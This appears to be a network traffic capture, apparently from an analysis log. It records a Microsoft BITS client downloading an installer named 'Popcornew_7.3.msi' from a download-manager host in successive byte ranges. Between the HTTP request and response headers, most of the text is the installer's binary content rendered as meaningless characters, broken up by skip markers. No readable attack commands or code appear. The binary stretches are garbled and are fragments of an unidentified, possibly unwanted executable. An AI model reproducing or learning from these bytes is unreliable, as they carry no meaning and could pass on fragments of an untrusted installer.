Content-Type: application/octet-stream

Content-Length: 47130

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:14 GMT

Cache-Control: no-cache

Content-Range: bytes 59380-106509/5894144
\k.....Z ...v..u... ,.-....y.~......cmr-?7.O....4..\.....?..........5.
-.....MM..Z.... >.DD._ ?....,PCv.}...P.z.C....O...^.G.^......y...\.
:^.RH.u...h...V.9.).K...^.........m1.G]e..v3E.....=..A~.(%....Z..I-c.K
0.................5...)B...$....Q....rX...[.Y$.@*M.Q...........P.eu..h
..g5...t.a&=4........g...5.Z.....Y...U^.-.e.l'f.....q...^..7.)........
[email protected]\......{...^.].^....0.....H.qX.$..l.(Az.*4OJ.a
.&..P...>..8P....yuy.!...)8ghd............7..G.K.5(.u.f........;...
..L..)Q.l.^.N.X.....yt ?...tfo_F.3..H.QFZ...>.pAD..m..fE..g....D/..
.....d1..IH&/..&..wt...ar`.b.5.qm...Y9.,...|.b.-..l...b\."&..>k..R.
......k..24X........k...wP!x.E]....v....uPq./.YX.e?.R.....}.........j.
L.h........n}..3....C..~.&m..#&MSA.........?..........;...kX7......8..
,:....r).as.. ..C....E..g?.3....wW._/[.)@..|3...m.t.........%..b.=..[K
......F.e...u.`$R....q..e..t..oZ.......ei.Yn...Qz...w.....0..g.......{
.............O..6..N.uW.VKh..|G..&...k.Y'...[r.?..;.....i........[/...
_.....p.."b....2..VVE..tz`...._.E..Ip..[...]....a.....-WRB.......m....
\ '...S...^l._5........z..z=...#.......c.H..c&.....Q...{....j...'.....
...-.Y.\..q.FX.... ..k`......|...HH.8.X%..-.=.].yEuq,z.".P..).z..2....
.A..@...<..!...x..m..'..!.m....Z.E9.......^..^.Y ...BE...1.=...X.$.
k...Vi...t:..`..~Y.9..-...ik.]...ZcW.......H...=..g...,.{.uTS....y>
.G.W.._......A;..>....Y.6J......3Y..........6.=..W ....w..`.t..].T.
....s.O7...1!..b.c.6.7.k...A..G2....z.xod....KH.....7..j...v...>Y16
.~.`[email protected]..`...,..... ........?]..z..W....zMy.a...K.b.{o.9..Q
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=106510-201796

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:15 GMT

Content-Type: application/octet-stream

Content-Length: 95287

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:15 GMT

Cache-Control: no-cache

Content-Range: bytes 106510-201796/5894144
..W.I."3h....}..Loh_..].8s..P..n...|..=./.G....h8.XE.!..w7v.3.J.{.....
..Tj...F....e...P......g.f...}...F.T.F.....k.......t...../..........s.
..g..X/9l...........z........7.#>.....p.Im....'.m......7-l4...". ^.
]..w.-.7...F<...G.TIy....A......[.6...#[email protected]*..............&l
t;.......u..[.l.;...y.o ........8zZT.X.....3..K.[......5._.^bA....FaFo
-./.H|S................# ....s...&&.HH8..../SM.%.....E!.wc\.z....m...r
.Sfy.S.o..X.n.L.([email protected].'~../iBkI..e.H.....r...Y..;m. ..b...:...4l..
..Y.6e..&I....U{.....7.6...%&..w.D3:m.=.6K.9....7..LS.N6..7.."..x,bAb.
[6.8<.s.:xf....O6..z..E.k../.7...b...o".#.....5.......!K....O.=8...
.`.M..6..vt4O.q{59..o."Y%...C....I......^.w..... J....yx.X.O....|O....
......#..a1..[...Io..O........:...a.1.C...8.......{...R_.........O....
...s.L. .j..n-.rA..... ...:..............*.Q.r..DK.o*...dS....k1......
..i..*6{I......qj.Zi;.\I..M...q....4.J...P.CK..?s.VX...^(i..F ....)...
j.J...a.YZ.Y..yc.w..?t..........K.....|..O..l.......b(2...-.....u.=...
.....h...c..t.......'..........v3..^G.s......5T].......3.p.....8e..p..
...l$<......._...-..~.y.|.......W...d.6a8.o....@$J...:...j ...q...'
...<.Xo.zRY=.h=.Q.......bL...>.".,.6c:s.3....5.....6Bs.. .......
..D..9N.2*.#....rgZ....6...z9.p.......!.r*!.....K....2._.....q..8.....
....7....T.n.~b..K'gpj......).\.....se..;..f....6(.....<......bmB..
.P...h.F...qV2......O.&f...../..N...&U>~...........#y.4....Z. 4....
.....=....6'..[O..t.D..#.....8.q..`..#SW...1..?.\....?Fo.Ty....|......
...0.Z. ...t..H'.......S..x. ..!..S.k[a......L.4V.9..A...".x .....
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=201797-391501

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:16 GMT

Content-Type: application/octet-stream

Content-Length: 189705

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:16 GMT

Cache-Control: no-cache

Content-Range: bytes 201797-391501/5894144
.e.^...o..F.i.\.;r...A)v3...-..R.....K....V,.A...K.X....X...Tj.......y
.Qs.Q.2.f.Q.uF. ....T.8gh7Y..i.cy.K.p....F.....!..J...j...{pGR......B.
.=.E/...Z........Tw..t.,w....l%..t.........9H......*..^...........,...
Z...l*).$.. ..R.}[email protected].}.....j.z.*{.n...............,..a....A...j.
.A.z.*T...."..R.<r;...k..v.M]D.3m...r;.......q.......G....K.....|..
uS13P......=,.H[&j...P..xh..Q..F......6Un......86Lf|..Qy_.Qi...C.\..&g
t;D*......T.R...v.t...`*Kk..0.6..Q2....I....7.,._. .I..p.#....}..Jw.i.
i.:..Nzm0~U...V..N..$o...>!5.S.=...DIb.5.-...lG.;.;......dG..v....h
G.........X..e....fG..gG..oGP...c...$#.-a.-..Sa...~R..........:[email protected]
G.><..!..Pv.u......p..Z..U..8...r}....N0.....T.....o...d....@...
"G......4..],...d...."se......m..q..#R..]....?3.P.wS........k.#.....Yg
:....%..;.......~S..5:........Nm!Y....cH....d...~..2...N..jz.A....,..;
(.8r.>.......;...7K.8..{....>x2.`......}.8.1.YF....z...]....;..*
Ck..9...y......Z.;.........o..5..[1....F....A.m....._Dl....n.....gqeM.
..b..g..V.Q.r..X0z...%{L...O.&"5U..0...,o.*.?...{> ..CK.].t.......&
..........6..(.7.l....../Y<...S..V.].. ..../.....Y.}..VO.i.....lb.~
.....|V.*LLj........~gf.dB.O.......;3.......{....*...... 1.N.9.o..m.j.
.....f.We=7i.....f..N...#.."..W.R.....s}..x.7......q........Y.n;.....R
I>9.....o.......;.%S>]....Z..S3.;.g.$...$..g6...p...n.....t....i
..8\J.[...P..K.`g..E.....&...H.......W...7...9C...?...*.....8.....S..H
.*.R;%r,..^..w....e....#..J.a.....y.....U....-.....0!.Z`@H..F..5E.....
...u.......[..u.n."..r.a ....6.......m...8.~.m..3....B..y.^.W....u
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=391502-688884

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:17 GMT

Content-Type: application/octet-stream

Content-Length: 297383

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:17 GMT

Cache-Control: no-cache

Content-Range: bytes 391502-688884/5894144
..H.$.."l2P..;......e$l.H7..d...a.@......\...!l.H.....u..%@."l.Pwp..*.
. D..@...#.V...v5.r..*..e"]9P .[%.j..~.._....'.u".SU.>.C.=......j:.
?...4..t{.....a{.J'..........A.......".(P........@...*.......M.... ...
]\...L.N..K.oX....%....p7.?..l4.V......].%.UG.D......M.M..&..A.)"l.P..
...L..@..;S.KG..."l.P.....,..@m&.[.[..A."....6...........nUud.]-..@..[
......F.. ....$...a.......T:.?.b..C.{F..S...j.aw.u/.?..M..H.....= .^.*
..A........Y.;[email protected]@...U.v....vb.\.... .......Mb..
j.a.@er..$._...(w...",..f.&.5....N...!.2..E...Z.;..,....!..A....E.B.T.
.....O`[email protected]._......z.rr...."....h. ....>B./P.\...V.....=Z.....J
"....r...."...V.C._....T......O`..t.b:.c."..r...@...'.-".).m.ag.ZM.6..
s..XU.;/.."...g...j..?.5...."X.....LX;P......W.K..d.6..0a.....'.."....
)......._..q.....n...E.....-.......B.[)......r...\...l.HW..U".......*.
.....tO......P......\..v.H... .W."l/R.....<[email protected].;.T....E.Q......
.....*......m"....aU.....l.H..u&lX...UDXCM...._M.k.{[email protected]..
..,.M..N....6....M.....P[..W.K....6.......A..X..Wn.n.P..-.a..:J..@}...
.K..G.[%..E...6.........._...yE.Q ....&l.P....^.....r.. .v.e}.._.....l
.H..)>...W.J&l...\...YO7..._...}....}...o...x..j..4'T8...x..7z....6
.yqx. C...''........Wl5A.......q.`..Q4........m.yy.{.T.%.....<W.V.p
../'}Z|p...O...W..O.....!~....#..:B.....9.><B.....F...!....{F...
...Z....]n..F4<.f*T..x.gT..........X.P.)Pi:....*.Rl.~}.w.Z.ML.uL /.
.Z..f...F..C..;..F Ws4W...l^s{..&..jC.|....J~.;......hP*|.a......./h.5
....?r.*bR....?.}(/P...?|.2.2...].. ..CD(.%..i.(5..k'la.]).v.Ie..s
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=688885-1098868

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:18 GMT

Content-Type: application/octet-stream

Content-Length: 409984

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:18 GMT

Cache-Control: no-cache

Content-Range: bytes 688885-1098868/5894144
...>n.fy.".e...K4q}V..pi..D.%...7.~'...wR.............j.. X..Y..gX.
f.....D...Mb.<.s.].5.....H.....7...&*PI..g).':...64...|.'.;.Q.D~.. 
/zl..a...v..O.)G..m.b[V....sU.n.YJE3.cM...Qd....7.f..C..[k.E@....{{..y
...~:..~.^......Wvz..#=#.w..q.2tza.E....&..},....!e.6.8.m.:..c>..8"
.|.f...........`9R....7.....*-..*.PF.g2.....;.......B..(N.....F.4..V.e
6..:.....$`/:.6...V......M....'u.Q. ...1......"(^.7.9..agU...>\....
$7...K......O.....9U.N.....!..c.y.v1.B...Ph..S...c......6..$<.-R.p.
.o6..i.4..V9.>..n>`..4$b....q.G..j.......Wk4 .......}..j.z.{."e-
]r..<..i.D.......U.3...'..cv...c.....Vx.i...N...Ng.x....t......F...
6.r1.I&..6.d[N...d<.W!.......-'{......^4S.l2S...X.h .hd..S..E....8.
.N.h.s.n...2......~v...38l.8........i.8L.Jm.\.&.3.5..k"G.C.~.|;.......
....../...6..~&.....HY..e.ml.p~.."...t......z.\]k...'..NC...9...of43..
.7B._.)M.Q....V!.<&.8.....}[(.!.v.'...i n..!..w....>.JN..E.....m
(`..X.....\..[.)y............,EZ...q. ....Hvd..".......k.[.3..\O.....-
..k.iB.j`.[.5<.3.12..D.*.0.T.Z.HI...7........S..........NH...K.. .g
;.u......v.aq.1.Cw.BA~.C4.a..\w.....C....h\.O.{0.......n..b../g..X.E!.
...L.....D.....mqc.....`Mw....-|..S..O.SB.x.Q..9.._..s..R....r...#`.t.
......B.t.e]..#.Ou[".SF|..}.p..[.........9.V...9.u0.q./...n.r...Zj....
...2...Pf.7.X...e....iU|b-[...>..!v....*s......2.Q..|.nhj...xe..<
;.dX.O.#.. k.....{.4.v...t.....i.7I?....1E....gn..=....o...q.<U[.3.
...).H..6E...$....w80.G.,a......T.......R..^.|V7..I.....n4'.. I.7|aU..
{......:.:\.c.(.....?.N.z..C....Q^dE.6.c..."V.c....'...._...j.....
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=1098869-1625894

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:19 GMT

Content-Type: application/octet-stream

Content-Length: 527026

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:19 GMT

Cache-Control: no-cache

Content-Range: bytes 1098869-1625894/5894144
{........%.1.s..B.6.b.B..."...E.......o.W..QY<...%....Q..c.(..3.^..
f.i..A...,.Y^.....e.n^.k.0.z..Ry.....B. .}....7m7..m......Q.NX..ud~m..
vK..G.....n2n&.M..7.N..V.1.=z7i...g...E..F..|L.l...!.V`{..n8 w.v..%..:
P ........n>...5..-..2-y..V........y.C..G........Z..i.Q.2.4!..y.1..
.Z.M&..'...F .]...L ....1~.2.. =S...........,3(c....d.8..(.......OC3I|
"........_...EU.{..9i.M.)M.0...7M.B....<.s..Py<>O........4$E#
5.$.)._.."..N.D.6.......<[email protected].........{~.w}.....}.d...|..
e...#...N}.TW......*...lR.9..#........?o\......Z..g.D.'....,>9$|..C
.E..H0...y>A...)./....>...%.K........P..o%.E........g......9..{^
......v.o..7...o...!.#.......[..87]....|..3...O..=4.a.`G...V2.....]...
GI ..%.L../.......^..9q.q......>..O&..l.<...........k..=.p./....
.f_{..'.%A.Pl..8.To}..k&.].0F#?..sx.............y<..X..5?.\.....xry
.,....M.>..l.....=.*..^s......N.{.lo....C.....\..fX..u........<O
.g....<.9.|.y.....|......{..k......\.<....r........E..}E...v?..s
.H.....?\.\.?x?..._....K.S...pz.V.i..!......M..(.....ia.............~.
.Y.....k..?..X. =.x.....Rh..4...,o....#L............u<...<.E....
..........k.@V..\....<...#.."..b..(a'Jh.._7..........w7.T..(e.F..g7
[email protected]#._....%..f..".*.}............(....7.2..eT.5......n.
......N...._D..4."..3......a.mW.7.H..<sBF..5Mz.-......a1>h.[.]..
@/.QE.......>).C...L.g.....sh<..9t^...................Tb.V.b7.u.
.0._#{.............;...u.......#Y..<.F .........W....`.8..G];...=..
'.Uv.7.........5...F.G....x......~..%CT.&.7.e>.".f..!a........_
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=1625895-2304710

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:21 GMT

Content-Type: application/octet-stream

Content-Length: 678816

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:21 GMT

Cache-Control: no-cache

Content-Range: bytes 1625895-2304710/5894144
..w.p...B.!..q.&.`{..w.e..5.:.}.B.|.gG&-..q..,%W...C.!l.iChW.\._`.....
.E...^[email protected].\.....@X..].n..[.....*......V..
.!K.[...G}....~<~...?..=~..e..7\|A.."~...Y......Qne.%...BF.@R./..C.
.Q...m.../a#..O...lD).V....-.."~......]~....x.h..^D...\y..z.z4.R.}..Q.
.g6...qr...8>.t..44P!..P.HG.i.XVn-.M0v.=u.bZE,8.A.J.......D%[. ...q
...E..$.!........%W.....#....J......2(...8<..].....y...|.,...]u.:C.
.P..}..S..,.y.......5..j.......gc,...6.....GYi..ONP!x...C...?.{......0
$.....!....L...a..Q...d..<0'.S.K.Yq..M.I8m...._..;.V...K.[....?L..F
...d...?....ED0.JS...gL%...c.i!<......j..f.Y.r.3......n............
.:.&...W..D.3j.C......./.f.A.|.*/.......Vn.5g.0[A".SC.h.9..U{ph...!.T0
.....!.ekf...>}4..\C...I./.X...IW...O..$V.w...K.:.K..f.T..`.T>.y
.]{W..P..4^....zQ.RS. .{......i.k.....J(.y..lf.{].6.2.BW./....MyJ.....
&.Jv..t......N;V..@j..*...*..w...M=}.O.....&.)j.Ms.ru!za....LU[X/..3. 
...M..kj......:a..*.j@0.~.j.5...............0........B...Q...H!!...[~.
N..g@6......:xUm.7......Ozj.........a...o<...&{..6..G....$5Q-.....C
9a.".9=gBV.3_F....J]....=.%0.B.i.].#...X...<,..U.z..R..].k.5..eir..
..../.TQ.... .QtP"...o .f52]CS.*m..56.E..k.[u.....e...S~s. ..ZvS...[.]
..NobiKA';U\`._.|.d.K]]k..Y..f......Pq> ..N....ATY.t.M.p.R....Z..Z.
j..f..i0............v.V....n...R.>...D.}. ..X..0..N.?......q.l=...g
.Ac..3..P.Hv5rY6.yl...1#..mS..@\9%m..zU..M.z._...3.........n...l.....|
m.x.4v}.l.1..^...9. .}.....-....?.=..9.X...D..}..6.N(t/f...0....{..=..
.....8.F].X....k.........^...i.rD;........a.%.v.....C...)...7..F=.
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=2304711-3093287

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:22 GMT

Content-Type: application/octet-stream

Content-Length: 788577

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:22 GMT

Cache-Control: no-cache

Content-Range: bytes 2304711-3093287/5894144
.............G`..............f.F.....\.d....W.5....Sz.MK..].@.........
.>...?.Y>....Gd...3..Q..p......q.}.._....{/...$..1I..;..[...._&l
t;...m...2....;..=...{..j.... Q.8...;,h:............*.tr.R....z/).{...
..c....v....)....F~U.(...."[email protected]=.A....N.....*.].....b.Nf..5`.
.......I..G.......x.......,LL.NX.A\.!.h.H....(..7c.fOq..]......{...t..
..... ....#...s..M&w...G.*..?E.k1.IT..WL{.D..m)u).......KV..q....#/j.y
B.&...5.....C*........H......8.C.".r#_.RNp..#9.>Ul...lj;.h..Ei$J4..
.....8.....a..h.i..%....C.6.d...Q... MW..,!(.B|....cyp...3.J...p2E%...
.-...i.H...........4..\.q.=..}h*..(.......~...u..y2WM....=....3..#...|
...y...y.(....[....4..........0.A.Vpe1p.-..}3.b...}..].hm...=.8.;...3.
..lV.&\F^..A"..i..^.k.C5M8.....:".B.......!..[.R.........D...O.M....-.
.].....r..^..0.Q...Cg....k.r.p.d#...J X..o.?l...,.Y.....f2...C#......^
.?.u5..pr...]V..p3#..".VKo....Q _...N..3;.. ..u..Hk}.DT.4<R.OX.Y_.{
yU.....W..GV....V3.".rN...~G...@).Bc...^...f...8=:..$.....2C*1..,.?.1m
a.A..2....fm...^.;...4l..56 ..!b....n.I...Rxl..>b.....7...`2`......
3."..0..28..AV.2.^.78...k.....Il`_#..._..:.22.G....@H9.]....f0.K...E.:
..@[email protected]|..y...`..r...j..8..........>. ..S.........I........B
_E..|{....N.k. s.. ..s`..;-.&.pXX^.............2...<d...`...ZIS..#.
($.....h(.2X...F/9...m.....r../rf.A.....W..._0.....22h?.....(..Y.7...@
_.P..T...O...dN...KEc..w.nI^[email protected]'oO.}.\....\.a.V.X.. .....;.. ..
.Q.....8*.......w.B{..#.V..;.eh}Q.....6D..9./*....8..9....!2.^........
]..:......W.>^H"p.=]...l...P...wj.?....f@.!&e@..?..'l.F!.......
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=3093288-3926538

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:23 GMT

Content-Type: application/octet-stream

Content-Length: 833251

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:23 GMT

Cache-Control: no-cache

Content-Range: bytes 3093288-3926538/5894144
{...(?;.6m.6.<&[n.=....4^!....n....F%2 .OGTS.v2.......Z...9>....
{9.>..Y...$......`.k;G...l...dc..u.......0%o'v...{.*.....R.....\.&l
t; G.C~.%....f7ZN...  >A..{...Z$.b6.^....Z%.._.:^n..U<..h.....l.
.......8.....v.c.U...:i./.o.w5...^Ah....)...I.;=X.............G....'d.
d..N7..q&oWN.c.......e:p4.Y...t..!...zE.V.h......$%....5..#... ..y....
...s/,B........W.B.7...txV.m...fL.x.d..a..L.[M.f']D.;'g.....$..dd[t..h
...b>r..T."..b.aWk.......a".K'7(*i.\@'....n.........=C5.CB..r.sbaTc
."s.Ot.`.......?.*8..^...l2.../--.`......].n..5^..<I....x_.. ..T../
..A[...}.4.g..L|h..x..6.......m.5....T.H..\.....f....k.."....&1..a.d..
...j.k.....H ...........J{....{..l.v.%..FV....L6.).......H..&U...P...K
..........C.w.u]....}....... _,...8....I..bc..jT.]..i.../.....<.)c.
.hQ.7t .C31....k..9.fo..LD...e ..h..7.Wa^.....L...;...Gh..../.hkO~..g.
..W..Q.;H.#,$.......G..A..;.hU...S....r.W........79.g...w.G...G9....&g
t;....<.MR.&.s.`.h...j......&....B.{...[.T..u2.....S^..1.s.....^..q
..Q...S.7&....WX.Q....V"U6e. .qkQ\..;cg..?Q../.H\=..<dS.{."........
E..'...uHh.WW...N.I.......z.;o..jR.T..@.:l......J.N..(;@.....LC.n.7...
.3.....%....C........<g..lD...w.=..6.&L..W.-.%.K...`..G..{dX.X. ..^
`...`..o."..|.K.....$..>..h.yq../.W..;Ad.:?j.tM._".$....&.e~&..s...
.gz.Q.n.....x,.rJA.\T.q..e`.Y|4.....hI..B.....E....`...i...c....D.7pm0
.,.$.x...9 J.\..1.0u..l.>.y...ZJ.o.q0.....9E~..\Lm....B.....T.n.ne.
........X.y.T0...Sh.......9v..r............J..{.\ .......J.q.z..t.C4.:
|.... Z....M....d..?`7..j..M<...."..^(......A.V.-:|?;L/.....W.c
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=3926539-4806327

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:24 GMT

Content-Type: application/octet-stream

Content-Length: 879789

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:24 GMT

Cache-Control: no-cache

Content-Range: bytes 3926539-4806327/5894144
s......$.q......}...Y.......I....,..M.,.b.3Y0.`.eB..4.~..o.<.... %9
...1M...0.).t.G..........W.F..T.'[email protected]._.A.l";&.'...9.z....
.xtby... ._."...k....b6...-........-B......O..r.A.....b...1.AI....Ld.&
lt;I...'.'0..c.....q..J&0..i...5.q d|..7.......>x........d....v..r.
?...a..2.?...-...s..m......92'[email protected],.9~^.Gn...I.....?g...7X.} .-C
...........8.......j[..R{.khr..P[.^{...G.&.J..t.cH.%x.V...7.`*.GM.1.?.
....6.V.c.[.......GJH...;A.6..............'[email protected]..]..r
_.R.J[..b...u..../#9.:[email protected]..:S...mn.......0.No......r..i. .X.
..Hh.........Cs..!.G.........!.c.u.=.:......q.d_.......g.|El1v....7-.c
...i.v.4{..I...hS......t..7...N.....Du9...$=.l......}..N..m.H{.;P7....
K.8..l...J.{.z...ILI..AsN.W3....r]..h6.d......I..&<...'...A.*.S:...
}[...U~..A....=...;c........;.E..CK.}{|T.......$g....%[email protected]%.4A&A
d
..I...........O.....^...[.hk....k.-.3...RL.... ..a(....c...:g.A..~....
.;...s..k........:{.-.".X....q2.9E.d .e..........@ .....6Y.5nW...$.Wlh
...oS[..%..4.5..!1.\....*..$....Kv.A...:c.a...k...r....Fl.........i..)
....tq~e.....K*....(....}..k...p...,...jt..s..... !|..?[.w`..W.Uh"...F
.U"m..U.....L.Ry.&{ #.$)......D._...v.r..<.t..:#.3.......|.........
.......Z.Z.=.A_.,\...Z.....]p...Y".FW".qx.1..m....o.X......W..#.;..N..
.. .`..6.`.|\QY=..Pj...U..^...E\q....=..6:...Re....1...|....dd.....#.w
t....2../.....Wj.....X........5.z.G....{...dI.9&.}m..=..Y%<k..C..i.
e......8.. },5....7....Z....l<.}q.~....A)..D..E..,..-...)).....]dC/
U6QB...z*...S..RS.}..u...f.<u...1.'.,.f.....n$8m,.....|..s.X...
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=4806328-5709610

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:25 GMT

Content-Type: application/octet-stream

Content-Length: 903283

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:25 GMT

Cache-Control: no-cache

Content-Range: bytes 4806328-5709610/5894144
.....I)).[%.j\4..u&....IP..l..C.c-.GS.....$.....J...iVS'V..A0.......f%
.y.!....x7.....@/..a...y.OPe..zH.K/.K.yzCHd....|......9..!.S=..E..P.[.
..K.>....Asa...pk..jx..1.v.]R.g<-%e.(.....n{BJ6-.frJ....E..."...
"m *...&.........G..EQ]...K.O..[".o...}T.<w.....C......_.e......s..
m.......l...O..^...!|.[-.F\..M.S8........=,.>.qb....2... ..?".j.;..
5.^.Io.{.....A.e...r.x.{Z..s.#Rw.) ..`v.h..ps.0t.4T....5n.B.......L.w.
..........I1q.........w<[email protected]~f....z.LY.:5.D({.`....
'.:U..].;}...[..wQ...lC-.2...'...o=$.0n.....G.UR....S...i.:.t...>.q
..f....pf.....`@.....7J...m...^T..#2.q..."[email protected]..
....;...=t.A?..W....c.....B..>.h.UK.<E'../1?6...'..`....%K....L.
..(.*..-......E..!._.w0.../...J.......M....7.`...n....[..'..O.......\u
|...qk.\@.av...Y.;e.....c.......`.S.2..h...'.... 3.:.m.......!.... ...
......5Z=B.t.h..L1..I.g5......k...m..|....'K......%...Q..f....f...[..|
..rF.u.M./Ue.....%.^..&&_..tN|.X...4...&.....u.)...$...2y..`.8S...5...
f.:..6.Fb....s.7~u[.H7....y. Z...f..fl7P.._..)?..b{..=.A.....L...&T.6.
$.?.r3..K...G....T.K.3..A.Ia5{7.....o....Ym.?...N"TI...}...k...4.Q>
.:....6.s.&.._]^.\2....A.6...?.2.`r.7...|..........)'G.e.jY-1.....?..9
....cwt~.o(.V_...R. ....V.C....I.(...rt........`.....S.f.%.s...6......
.....).....Y..k...m.....ar..O...>..f.GX......E.|..3...6.H..x3. ....
..Z.....2.......!.5..$.....d...s.-....5..>).....@..?#..6...a....O.,
......N...u.!f.yC ......R.B.Y..3..].te....|.1_...E..O.y..t<.<.5O
B`.2..}....wm.4(L.jx.{K.".. \.&..o..W.7........$...eL.U!..L....>
<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=5709611-5894143

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:26 GMT

Content-Type: application/octet-stream

Content-Length: 184533

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:26 GMT

Cache-Control: no-cache

Content-Range: bytes 5709611-5894143/5894144
...................................................H...=...=...=...=..
.=...=...=...=...=...C...h............................................
...[...?...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=..
.=...=...=...=...=...=...=...=...=...=...=...=...p....................
.......................9k..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j.
.8j..8j..8j..8j..8j..:S..>4..>4..>4..>4..>4..>4..>
;4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>
;4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>
